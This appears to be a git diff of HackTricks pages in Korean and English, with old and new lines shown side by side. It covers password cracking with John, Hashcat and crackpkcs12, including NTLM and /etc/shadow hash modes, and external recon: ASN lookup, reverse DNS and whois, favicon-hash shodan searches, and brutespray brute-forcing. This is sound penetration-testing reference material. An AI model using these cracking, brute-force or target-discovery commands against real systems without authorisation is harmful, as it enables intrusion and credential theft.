만약 암호로 보호된 열이 있는 xlsx 파일이 있다면 다음을 수행할 수 있습니다: 비밀번호로 보호된 열이 있는 xlsx 파일이 있는 경우 이를 해제할 수 있습니다:
* **Google 드라이브에 업로드**하면 암호가 자동으로 제거됩니다 * **구글 드라이브에 업로드**하면 비밀번호가 자동으로 제거됩니다.
* 수동으로 **제거**하려면: * **수동으로 제거**하려면:
```bash ```bash
unzip file.xlsx unzip file.xlsx
grep -R "sheetProtection" ./* grep -R "sheetProtection" ./*
@ -674,8 +625,8 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
@ -688,22 +639,22 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
hash-identifier hash-identifier
> <HASH> > <HASH>
``` ```
### 워드리스트 ### Wordlists
* **Rockyou** * **Rockyou**
* [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists) * [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
* [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists) * [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
* [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) * [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
### **워드리스트 생성 도구** ### **Wordlist Generation Tools**
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 구성 가능한 기본 문자, 키맵 및 루트를 가진 고급 키보드 워크 생성기. * [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 고급 키보드 워크 생성기로, 구성 가능한 기본 문자, 키맵 및 경로를 지원합니다.
```bash ```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
``` ```
### John 변이 ### John mutation
_**/etc/john/john.conf**_을 읽고 구성합니다. _read_ **/etc/john/john.conf** _을 읽고 구성합니다._
```bash ```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
@ -712,16 +663,16 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
#### Hashcat 공격 #### Hashcat 공격
* **워드리스트 공격** (`-a 0`) with rules * **단어 목록 공격** (`-a 0`) 규칙과 함께
**Hashcat**은 이미 **규칙을 포함한 폴더**가 함께 제공되지만 [**여기에서 다른 흥미로운 규칙을 찾을 수 있습니다**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). **Hashcat**은 이미 **규칙이 포함된 폴더**와 함께 제공되지만 [**여기에서 다른 흥미로운 규칙을 찾을 수 있습니다**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
``` ```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
``` ```
* **워드리스트 조합** 공격 * **Wordlist combinator** 공격
해시캣을 사용하여 2개의 워드리스트를 **하나로 결합**할 수 있습니다.\ hashcat을 사용하여 **2개의 단어 목록을 1개로 결합**할 수 있습니다.\
첫 번째 리스트에는 **"hello"**라는 단어가 포함되어 있고, 두 번째 리스트에는 **"world"**와 **"earth"**라는 단어가 각각 2줄씩 포함되어 있다고 가정했을 때, `helloworld``helloearth` 단어가 생성됩니다. 목록 1에 단어 **"hello"**가 포함되어 있고 두 번째 목록에 **"world"**와 **"earth"**라는 단어가 있는 2개의 줄이 포함되어 있다고 가정합니다. `helloworld``helloearth`가 생성됩니다.
```bash ```bash
# This will combine 2 wordlists # This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
@ -764,7 +715,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## Use it to crack the password ## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
``` ```
* 워드리스트 + 마스크 (`-a 6`) / 마스크 + 워드리스트 (`-a 7`) 공격 * 단어 목록 + 마스크 (`-a 6`) / 마스크 + 단어 목록 (`-a 7`) 공격
```bash ```bash
# Mask numbers will be appended to each word in the wordlist # Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
@ -772,12 +723,10 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
# Mask numbers will be prepended to each word in the wordlist # Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
``` ```
#### Hashcat 모드 #### 해시캣 모드
```bash ```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM" hashcat --example-hashes | grep -B1 -A2 "NTLM"
``` ```
# Cracking Linux Hashes - /etc/shadow file
리눅스 해시 크래킹 - /etc/shadow 파일 리눅스 해시 크래킹 - /etc/shadow 파일
``` ```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems 500 | md5crypt $1$, MD5(Unix) | Operating-Systems
@ -790,7 +739,7 @@ hashcat --example-hashes | grep -B1 -A2 "NTLM"
3000 | LM | Operating-Systems 3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems 1000 | NTLM | Operating-Systems
``` ```
일반적인 응용 프로그램 해시 크래킹 일반 애플리케이션 해시 크래킹
``` ```
900 | MD4 | Raw Hash 900 | MD4 | Raw Hash
0 | MD5 | Raw Hash 0 | MD5 | Raw Hash
@ -800,24 +749,25 @@ hashcat --example-hashes | grep -B1 -A2 "NTLM"
1400 | SHA-256 | Raw Hash 1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash 1700 | SHA-512 | Raw Hash
``` ```
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>영웨이 에이더블유에스 해킹을 제로부터 히어로까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
다른 방법으로 HackTricks를 지원하는 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 액세스하세요: 오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}

View file

@ -1,58 +1,59 @@
# 외부 탐색 방법론 # External Recon Methodology
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## 자산 발견 ## 자산 발견
> 어떤 회사에 속한 모든 것이 범위 내에 있다고 말씀을 드렸고, 이 회사가 실제로 무엇을 소유하고 있는지 알고 싶습니다. > 어떤 회사에 속하는 모든 것이 범위 내에 있다고 들었고, 이 회사가 실제로 소유하고 있는 것이 무엇인지 알아내고 싶습니다.
이 단계의 목표는 **주요 회사가 소유한 회사** 및 이러한 회사의 **모든 자산**을 획득하는 것입니다. 이를 위해 우리는 다음을 수행할 것입니다: 이 단계의 목표는 **모회사가 소유한 모든 회사**와 이러한 회사의 **자산**을 얻는 것입니다. 이를 위해 우리는 다음을 수행할 것입니다:
1. 주요 회사의 인수를 찾아내어, 이를 통해 범위 내에 있는 회사들을 얻을 것입니다. 1. 모회사의 인수 목록을 찾아 범위 내의 회사를 파악합니다.
2. 각 회사의 **ASN(있는 경우)**을 찾아, 각 회사가 소유한 IP 범위를 얻을 것입니다. 2. 각 회사의 ASN(있는 경우)을 찾아 각 회사가 소유한 IP 범위를 확인합니다.
3. 다른 항목(조직 이름, 도메인 등)을 검색하기 위해 역 whois 조회를 사용하여 첫 번째 항목과 관련된 항목을 찾을 것입니다(이를 재귀적으로 수행할 수 있음). 3. 역 Whois 조회를 사용하여 첫 번째 항목과 관련된 다른 항목(조직 이름, 도메인 등)을 검색합니다(재귀적으로 수행할 수 있습니다).
4. 다른 기술(예: shodan `org``ssl` 필터)을 사용하여 다른 자산을 검색할 것입니다(`ssl` 트릭은 재귀적으로 수행할 수 있음). 4. shodan `org``ssl` 필터와 같은 다른 기술을 사용하여 다른 자산을 검색합니다(`ssl` 트릭은 재귀적으로 수행할 수 있습니다).
### **인수** ### **인수**
우선, **주요 회사가 소유한 다른 회사들을 알아야** 합니다.\ 우선, **모회사가 소유한 다른 회사**를 알아야 합니다.\
[https://www.crunchbase.com/](https://www.crunchbase.com)를 방문하여 **주요 회사**를 **검색**하고 "**인수**"를 **클릭**할 수 있습니다. 거기에서 주요 회사가 인수한 다른 회사들을 볼 수 있습니다.\ 한 가지 방법은 [https://www.crunchbase.com/](https://www.crunchbase.com)를 방문하여 **모회사를 검색**하고 "**인수**"를 클릭하는 것입니다. 거기에서 모회사가 인수한 다른 회사를 볼 수 있습니다.\
다른 옵션은 주요 회사의 **위키피디아** 페이지를 방문하여 **인수**를 검색하는 것입니다. 또 다른 방법은 모회사의 **위키백과** 페이지를 방문하여 **인수**를 검색하는 것입니다.
> 이 시점에서 범위 내에 있는 모든 회사를 알고 있어야 합니다. 이제 그들의 자산을 찾는 방법을 알아봅시다. > 좋습니다. 이 시점에서 범위 내의 모든 회사를 알아야 합니다. 이제 그들의 자산을 찾는 방법을 알아봅시다.
### **ASNs** ### **ASN**
자율 시스템 번호(**ASN**)는 **인터넷 할당 번호 기관(IANA)**에 의해 **자율 시스템(AS)**에 할당된 **고유 번호**입니다.\ 자율 시스템 번호(**ASN**)는 **인터넷 할당 번호 관리 기관(IANA)**에 의해 **자율 시스템**(AS)에 할당된 **고유 번호**입니다.\
**AS**는 외부 네트워크에 액세스하기 위한 명확히 정의된 정책을 가진 **IP 주소 블록**으로 구성되며 단일 조직에 의해 관리되지만 여러 운영자로 구성될 수 있습니다. **AS**는 외부 네트워크에 접근하기 위한 명확하게 정의된 정책을 가진 **IP 주소 블록**으로 구성되며, 단일 조직에 의해 관리되지만 여러 운영자로 구성될 수 있습니다.
**회사가 할당된 ASN이 있는지** 찾아 해당 **IP 범위를 찾는 것**이 흥미로울 수 있습니다. **범위 내의 모든 호스트에 대한 취약성 테스트**를 수행하고 이러한 IP 내의 도메인을 찾는 것이 유익할 것입니다.\ 회사가 **할당된 ASN**이 있는지 확인하여 **IP 범위**를 찾는 것이 흥미롭습니다. **범위** 내의 모든 **호스트**에 대해 **취약성 테스트**를 수행하고 이러한 IP 내의 **도메인**을 찾는 것이 좋습니다.\
[**https://bgp.he.net/**](https://bgp.he.net)에서 회사 **이름**, **IP**, 또는 **도메인**으로 검색할 수 있습니다.\ [**https://bgp.he.net/**](https://bgp.he.net)에서 회사 **이름**, **IP** 또는 **도메인**으로 **검색**할 수 있습니다.\
**회사의 지역에 따라 이 링크가 더 많은 데이터를 수집하는 데 유용할 수 있습니다:** [**AFRINIC**](https://www.afrinic.net) **(아프리카),** [**Arin**](https://www.arin.net/about/welcome/region/)**(북미),** [**APNIC**](https://www.apnic.net) **(아시아),** [**LACNIC**](https://www.lacnic.net) **(중남미),** [**RIPE NCC**](https://www.ripe.net) **(유럽). 그러나 아마도 모든** 유용한 정보 **(IP 범위 및 Whois)**가 이미 첫 번째 링크에 나와 있을 것입니다. **회사의 지역에 따라 이 링크가 더 많은 데이터를 수집하는 데 유용할 수 있습니다:** [**AFRINIC**](https://www.afrinic.net) **(아프리카),** [**Arin**](https://www.arin.net/about/welcome/region/)**(북미),** [**APNIC**](https://www.apnic.net) **(아시아),** [**LACNIC**](https://www.lacnic.net) **(라틴 아메리카),** [**RIPE NCC**](https://www.ripe.net) **(유럽). 어쨌든 아마도 모든** 유용한 정보 **(IP 범위 및 Whois)**는 첫 번째 링크에 이미 나타납니다.
```bash ```bash
#You can try "automate" this with amass, but it's not very recommended #You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla amass intel -org tesla
amass intel -asn 8911,50313,394161 amass intel -asn 8911,50313,394161
``` ```
또한, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**은** 하위 도메인 열거가 스캔 끝에 ASNs를 자동으로 집계하고 요약합니다. 또한, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**의** 서브도메인 열거는 스캔이 끝날 때 ASNs를 자동으로 집계하고 요약합니다.
```bash ```bash
bbot -t tesla.com -f subdomain-enum bbot -t tesla.com -f subdomain-enum
... ...
@ -69,56 +70,59 @@ bbot -t tesla.com -f subdomain-enum
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+ [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
``` ```
조직의 IP 범위를 찾을 수도 있습니다. 또한 [http://asnlookup.com/](http://asnlookup.com) (무료 API 포함)를 사용할 수도 있습니다.\ You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com) (it has free API).\
도메인의 IP 및 ASN을 찾으려면 [http://ipv4info.com/](http://ipv4info.com)을 사용할 수 있습니다. You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com).
### **취약점 찾기** ### **취약점 찾기**
이 시점에서 **범위 내 모든 자산을 알고 있으므로 허용된다면 모든 호스트에 대해 취약점 스캐너(Nessus, OpenVAS)를 실행할 수 있습니다.**\ 이 시점에서 우리는 **범위 내 모든 자산**을 알고 있으므로, 허용된다면 모든 호스트에 대해 **취약점 스캐너**(Nessus, OpenVAS)를 실행할 수 있습니다.\
또한 [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 실행하거나 shodan과 같은 서비스를 사용하여 **열린 포트를 찾을 수 있으며 발견한 내용에 따라** 이 책에서 여러 가능한 서비스를 펜테스트하는 방법을 살펴보아야 합니다.\ 또한, [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 실행하거나 shodan **과 같은 서비스를 사용하여** 열린 포트를 찾고, 발견한 내용에 따라 이 책에서 여러 가능한 서비스에 대한 펜테스트 방법을 살펴봐야 합니다.\
**또한, 기본 사용자 이름 및 암호 목록을 준비하고 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)를 사용하여 서비스를 브루트포스할 수도 있다는 점을 언급할 가치가 있습니다.** **또한, 기본 사용자 이름** 및 **비밀번호 목록을 준비하고** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)로 서비스를 **브루트포스 시도하는 것도 가치가 있을 수 있습니다.**
## 도메인 ## 도메인
> 우리는 범위 내 모든 회사와 그 자산을 알고 있으며, 이제 범위 내의 도메인을 찾아야 합니다. > 우리는 범위 내 모든 회사와 그 자산을 알고 있으며, 이제 범위 내 도메인을 찾을 시간입니다.
_다음으로 제안된 기술을 사용하여 하위 도메인을 찾을 수도 있으며, 이 정보를 과소평가해서는 안 됨을 유의하십시오._ _다음에 제안된 기술에서는 서브도메인도 찾을 수 있으며, 그 정보는 과소평가해서는 안 됩니다._
먼저 각 회사의 **주 도메인**(들)을 찾아야 합니다. 예를 들어, _Tesla Inc._의 경우 _tesla.com_이 될 것입니다. 먼저 각 회사의 **주 도메인**(들)을 찾아야 합니다. 예를 들어, _Tesla Inc._의 경우 _tesla.com_이 될 것입니다.
### **역방향 DNS** ### **역 DNS**
도메인의 모든 IP 범위를 찾았다면 해당 IP에 대해 **역방향 DNS 조회**를 시도하여 **범위 내의 더 많은 도메인을 찾을 수 있습니다**. 피해자의 DNS 서버나 잘 알려진 DNS 서버(1.1.1.1, 8.8.8.8)를 사용해보십시오. 도메인의 모든 IP 범위를 찾았으므로, **범위 내 더 많은 도메인을 찾기 위해 해당 IP에 대해 역 DNS 조회를 수행할 수 있습니다**. 피해자의 DNS 서버나 잘 알려진 DNS 서버(1.1.1.1, 8.8.8.8)를 사용해 보세요.
```bash ```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
``` ```
### **역 Whois (루프)** For this to work, the administrator has to enable manually the PTR.\
You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com)
**Whois** 내부에는 **조직 이름**, **주소**, **이메일**, 전화번호 등과 같은 많은 흥미로운 **정보**가 포함되어 있습니다. 그러나 더 흥미로운 것은 **회사와 관련된 더 많은 자산을 찾을 수 있다는 것**입니다. 이를 위해 **해당 필드 중 하나로 역 Whois 조회를 수행**하면(예: 동일한 이메일이 나타나는 다른 whois 레지스트리) 회사와 관련된 더 많은 자산을 찾을 수 있습니다.\ ### **Reverse Whois (loop)**
다음과 같은 온라인 도구를 사용할 수 있습니다:
Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** (for example other whois registries where the same email appears).\
You can use online tools like:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **무료** * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **무료**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **무료** * [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **무료**
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **무료** * [https://www.reversewhois.io/](https://www.reversewhois.io) - **무료**
* [https://www.whoxy.com/](https://www.whoxy.com) - **무료** 웹, 무료 API 아님. * [https://www.whoxy.com/](https://www.whoxy.com) - **무료** 웹, 무료 API 아님.
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 유료 * [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 무료 아님
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 유료 (무료 **100회** 검색) * [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 무료 아님 (단 **100 무료** 검색)
* [https://www.domainiq.com/](https://www.domainiq.com) - 유료 * [https://www.domainiq.com/](https://www.domainiq.com) - 무료 아님
[**DomLink** ](https://github.com/vysecurity/DomLink)를 사용하여 이 작업을 자동화할 수 있습니다(whoxy API 키 필요).\ You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\
또한 [amass](https://github.com/OWASP/Amass)를 사용하여 일부 자동 역 Whois 검색을 수행할 수 있습니다: `amass intel -d tesla.com -whois` You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**새로운 도메인을 발견할 때마다 이 기술을 사용하여 더 많은 도메인 이름을 발견할 수 있다는 점을 유의하십시오.** **Note that you can use this technique to discover more domain names every time you find a new domain.**
### **트래커** ### **Trackers**
2개의 다른 페이지에서 **동일한 트래커의 동일한 ID**를 찾으면 **두 페이지가 동일한 팀에 의해 관리된다고 가정**할 수 있습니다.\ If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\
예를 들어, 여러 페이지에서 **동일한 Google Analytics ID** 또는 **동일한 Adsense ID**를 볼 때입니다. For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages.
이러한 트래커 및 기타 정보로 검색할 수 있는 페이지 및 도구가 있습니다: There are some pages and tools that let you search by these trackers and more:
* [**Udon**](https://github.com/dhn/udon) * [**Udon**](https://github.com/dhn/udon)
* [**BuiltWith**](https://builtwith.com) * [**BuiltWith**](https://builtwith.com)
@ -126,22 +130,22 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
* [**Publicwww**](https://publicwww.com) * [**Publicwww**](https://publicwww.com)
* [**SpyOnWeb**](http://spyonweb.com) * [**SpyOnWeb**](http://spyonweb.com)
### **파비콘** ### **Favicon**
우리의 대상과 관련된 도메인 및 하위 도메인을 찾기 위해 동일한 파비콘 아이콘 해시를 찾을 수 있다는 사실을 알고 계셨습니까? 이것이 바로 [@m4ll0k2](https://twitter.com/m4ll0k2)가 만든 [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) 도구가 하는 일입니다. 사용 방법은 다음과 같습니다: Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Heres how to use it:
```bash ```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
``` ```
![favihash - 동일한 파비콘 아이콘 해시를 가진 도메인 발견](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) ![favihash - 동일한 파비콘 아이콘 해시를 가진 도메인 발견](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
간단히 말해서, favihash를 사용하면 대상과 동일한 파비콘 아이콘 해시를 가진 도메인을 발견할 수 있습니다. 간단히 말해, favihash는 우리의 타겟과 동일한 파비콘 아이콘 해시를 가진 도메인을 발견할 수 있게 해줍니다.
또한 [**이 블로그 게시물**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)에서 설명대로 파비콘 해시를 사용하여 기술을 검색할 수도 있습니다. 즉, 취약한 버전의 웹 기술의 파비콘 해시를 알고 있다면 shodan에서 검색하여 **더 많은 취약한 위치를 찾을 수 있습니다**: 게다가, [**이 블로그 포스트**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)에서 설명대로 파비콘 해시를 사용하여 기술을 검색할 수도 있습니다. 즉, **취약한 버전의 웹 기술의 파비콘 해시를 알고 있다면** shodan에서 검색하여 **더 많은 취약한 장소를 찾을 수 있습니다**:
```bash ```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
``` ```
다음은 웹 사이트의 **파비콘 해시값을 계산하는 방법**입니다: 이것은 웹의 **파비콘 해시**를 계산하는 방법입니다:
```python ```python
import mmh3 import mmh3
import requests import requests
@ -154,75 +158,75 @@ fhash = mmh3.hash(favicon)
print(f"{url} : {fhash}") print(f"{url} : {fhash}")
return fhash return fhash
``` ```
### **저작권 / 고유 문자열** ### **Copyright / Uniq string**
